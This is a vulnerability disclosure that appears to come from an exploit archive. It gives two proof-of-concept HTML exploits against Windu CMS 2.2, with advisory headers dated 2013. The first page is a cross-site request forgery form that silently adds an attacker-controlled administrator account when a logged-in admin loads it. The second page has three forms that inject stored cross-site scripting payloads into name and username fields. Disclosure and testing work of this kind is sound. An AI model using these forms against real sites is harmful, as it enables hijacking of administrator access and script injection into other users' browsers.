1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 |
<!-- Windu CMS 2.2 CSRF Add Admin Exploit Vendor: Adam Czajkowski Product web page: http://www.windu.org Affected version: 2.2 rev 1430 Summary: Windu CMS is a simple, lightweight and fun-to-use website content management software. Desc: Windu CMS suffers from a cross-site request forgery vulnerabilities. The application allows users to perform certain actions via HTTP requests without performing any validity checks to verify the requests. This can be exploited to perform certain actions with administrative privileges if a logged-in user visits a malicious web site. User type: value 17-Admin Main(form_key = addUserSystem) value 9 -Administrator (form_key = addUserSystem) value 18-Content (form_key = addUserSystem) value 19-Editor(form_key = addUserSystem) value 14-Page User (form_key = addUserPage) Tested on: Microsoft Windows 7 Ultimate SP1 (EN) Apache 2.4.2 (Win32) PHP 5.4.7 MySQL 5.5.25a Vulnerabilities discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2013-5149 Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5149.php 21.07.2013 --> <html> <head> <title>Windu CMS 2.2 CSRF Add Admin Exploit</title> </head> <body><center><br /> <form method="POST" action="http://localhost/winducms/admin/users/?mn=admin.message.error"> <input type="hidden" name="type" value="9" /> <input type="hidden" name="email" value="evil@hacker.net" /> <input type="hidden" name="password" value="0bl1viON" /> <input type="hidden" name="passwordCompare" value="0bl1viON" /> <input type="hidden" name="username" value="hax0r" /> <input type="hidden" name="name" value="XSRF" /> <input type="hidden" name="surname" value="PoC" /> <input type="hidden" name="form_key" value="addUserSystem" /> <input type="submit" value="Forge!" /> </form> </body> </html> ###################################################################### <!-- Windu CMS 2.2 Multiple Persistent Cross-Site Scripting Vulnerabilities Vendor: Adam Czajkowski Product web page: http://www.windu.org Affected version: 2.2 rev 1430 Summary: Windu CMS is a simple, lightweight and fun-to-use website content management software. Desc: Multiple stored XSS vulnerabilities exist when parsing user input to the 'name' and 'username' POST parameters. Attackers can exploit these weaknesses to execute arbitrary HTML and script code in a user's browser session. Tested on: Microsoft Windows 7 Ultimate SP1 (EN) Apache 2.4.2 (Win32) PHP 5.4.7 MySQL 5.5.25a Vulnerabilities discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2013-5148 Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5148.php 21.07.2013 --> <html> <head> <title>Windu CMS 2.2 Multiple Persistent Cross-Site Scripting Vulnerabilities</title> </head> <body><center><br /> <form method="POST" action="http://localhost/winducms/admin/content/edit/659/?mn=admin.message.error"> <input type="hidden" name="name" value='"><script>alert(1);</script>' /> <input type="hidden" name="form_key" value="addLang" /> <input type="submit" value="XSS #1" /> </form> <br /> <form method="POST" action="http://localhost/winducms/admin/content/add/760/?mn=admin.message.error"> <input type="hidden" name="name" value='"><script>alert(2);</script>' /> <input type="hidden" name="type" value="1" /> <input type="hidden" name="form_key" value="add" /> <input type="submit" value="XSS #2" /> </form> <br /> <form method="POST" action="http://localhost/winducms/admin/users/?mn=admin.message.error"> <input type="hidden" name="type" value="17" /> <input type="hidden" name="email" value="lab@zeroscience.mk" /> <input type="hidden" name="password" value="testing...1.2.3" /> <input type="hidden" name="passwordCompare" value="testing...1.2.3" /> <input type="hidden" name="username" value='"><script>alert(3);</script>' /> <input type="hidden" name="name" value="Zero Science Lab" /> <input type="hidden" name="surname" value="ZSL" /> <input type="hidden" name="form_key" value="addUserSystem" /> <input type="submit" value="XSS #3" /> </form> </body> </html> |